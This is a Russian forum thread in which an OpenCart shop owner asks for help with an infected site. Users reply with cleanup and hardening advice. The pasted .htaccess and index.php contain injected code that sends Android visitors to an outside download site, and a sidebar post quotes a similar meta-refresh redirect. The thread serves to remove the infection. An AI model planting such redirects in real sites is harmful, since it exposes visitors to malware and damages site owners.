Перейти к содержанию
sasha123S

Вирус на сайте

Рекомендуемые сообщения

Сайт заражен вирусом. Недавно заметил. Хотел перезалить полностью сайт, не получилось. Чот делать? Кто сможет помочь?

Сайт: mi nu tа sh op . r u

Изменено пользователем sasha123S

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

<p>Это .htaccess<br />

RewriteEngine on<br />

RewriteCond %{HTTP_USER_AGENT} "Android" [NC]<br />

RewriteRule ^(.*)$ <a class="bbc_url" href="">http://load-app.org/m/?mobile_version=CleanRu</a> [L,R=302]<br />

<br />

<br />

<br />

Options +FollowSymlinks<br />

Options -Indexes<br />

<br />

Order deny,allow<br />

Deny from all<br />

<br />

<br />

RewriteEngine On<br />

RewriteBase /<br />

RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]<br />

RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]<br />

RewriteCond %{REQUEST_FILENAME} !-f<br />

RewriteCond %{REQUEST_FILENAME} !-d<br />

RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)<br />

RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]<br />

<br />

# Редирект c www на без www<br />

RewriteCond %{HTTP_HOST} ^www.minuta-shop.ru<br />

RewriteRule ^(.*)$ http ://m inu ta-sh op .ru /$1 [R=301,L]<br />

# Редирект для главной (с /index.php на /)<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/<br />

RewriteRule ^index\.html$ / [R=301,L]<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/<br />

RewriteRule ^index\.php$ / [R=301,L]

</p>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Это index.php

$ua = $_SERVER['HTTP_USER_AGENT'];

if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

// Version
define('VERSION', '1.5.4.1');

error_reporting( E_ERROR );



// Configuration
require_once('config.php');

// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}

// VirtualQMOD
require_once('./vqmod/vqmod.php');
$vqmod = new VQMod();

// VQMODDED Startup
require_once($vqmod->modCheck(DIR_SYSTEM . 'startup.php'));

// Application Classes
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/customer.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/affiliate.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/currency.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/tax.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/weight.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/length.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/cart.php'));

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}


if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");

foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}

if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}

// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);

// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;

switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}

if ($config->get('config_error_display')) {
echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
}

if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}

return true;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);

// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);

// Cache
$cache = new Cache();
$registry->set('cache', $cache);

// Session
$session = new Session();
$registry->set('session', $session);

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language WHERE status = '1'");

foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);

foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);

if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}

if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);

// Document
$registry->set('document', new Document());

// Customer
$registry->set('customer', new Customer($registry));

// Affiliate
$registry->set('affiliate', new Affiliate($registry));

if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Encryption
$registry->set('encryption', new Encryption($config->get('config_encryption')));

// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));

// SEO URL's
if (!$seo_type = $config->get('config_seo_url_type')) {
$seo_type = 'seo_url';
}
$controller->addPreAction(new Action('common/' . $seo_type));

// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
?>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Уже делал, все равно файлы эти добавляются. Сам не программист, сложно по логам сайта и FTP найти первоисточник. Может возьметесь помочь устранить эту проблему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Уже старался этим заниматься. Но ничего не получается. 

Пароли все поменял. Из backup восстановил сайт, но вирус все равно сидит на сайте. Видимо внедрили его раньше, чем был сделан последний backup. Нужен профессионал. Самому не получается решить проблему

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
 Хотел перезалить полностью сайт, не получилось.

 

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Скорее всего вирус в /system/library/response.php

 

Замените на оригинал

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

 

Вирус был не в /system/library/response.php Pascha, спасибо за помощь. Написал, что пришлось вручную чистить и искать причину заражения. 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Добрый хостер какой то, если так наплевательски относится как к клиентам, так и к своей репутации, ведь зараженные сайты в его ведомстве ему кармы не прибавят... Меняйте по возможности. И желательно со встроенным антивирусом каким нибудь в админ-панели.

 

И поищите дыры на сайте, устранив следствие, Вы не устранили причину. Очень быстро эта зараза может появиться вновь.

 

P.S. И да, эталонные копии и бэкапы рулят ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Похожий контент

    • От alldell
      Добрый вечер! Кто сталкивался помогите) Взломали сайты, пока заметил на двух оба на opencart, всего Пять на хостинге. Три на opencart два на wordpress. Недавно установил новый сайт
      на OcStore скачивал с форума, шаблон с оф сайта разработчика TechStore. Суть проблемы, когда заходишь на сайт с телефона вылезает на новостной баннер и ведёт по ссылке на Риа новости) И эта зараза переодически пропадает и появляется снова. Кто знает как это лечить? Может кто с этим сталкивался )
    • От kolek5520
      Добрый день всем.
      Гонял сайт через  сервис http://www.webpagetest.org
       
      и заметил, среди запросов, странные ведущие на ALIEXPRESS  И com-sale.ru
      https://yadi.sk/i/Nhiz-49D3QpYV5
       
    • От kaaspb
      Добрый день
      сейчас начитался форума и понял,что столкнулся с проблемой. с которой многие сталкивались: ничего не понимая в вопросах сайтостроительства заказал сайт фрилансеру, он написал сколько это будет стоить,я оплатил, он все вроде бы сделал, а сейчас с ним нет связи. И теперь не понимаю,что покупалось для нашего сайта, что он использовал.... нет ли дыр или троянов каких на сайте
       
      есть ли специалисты по безопасности проверить сайт, естественно заранее договорившись об оплате
      спасибо
    • От storagevash
      Ещё прежде не сталкивался с вопросами безопасности ранее. У меня одна база данных на два  сайта, оба на ocstore 1.5.5.1.2.  Один посложнее  весь в модулях, другой облегчённый. То на одном, то на другом  начинаются вредоносные ставки во все страницы

      <meta http-equiv="refresh" content="0;url=http://ww2.googlejavascript.com/?folio=7POJ4E717" />
       
       сканирую бесплатными сервисами, но не могу  найти, что именно вписывает вредоносные коды. Как найти виновника?! Эту дырку в сайте. Что порекомендуете?
       
      сейчас  www.2450210.ru - полностью атакован. А главный на той же базе www.efler.ru - работает. И сканеры не видят там  проблем.  Причём на 2450210  я  уже  перезалил с исходника  окстор  все  javescript , отключил все модули. куда  мог  попасть вредоносный код?
    • От Absalem
      Всем привет!
      Пациент - *******
      На главной странице с правой стороны маленькие баннеры, при клике по любому из них в новой вкладке открывается целевая страница, а в предыдущей вкладке вместо моего исходного сайта происходит непонятный редирект, который ведёт то на лингвалео, то на озон, то ещё куда (срабатывает по одному разу на устройство/браузер).
      Не могу найти код-вредитель, даже проверила айболитом - ничего не находит :(
      Помогите, пожалуйста!
  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×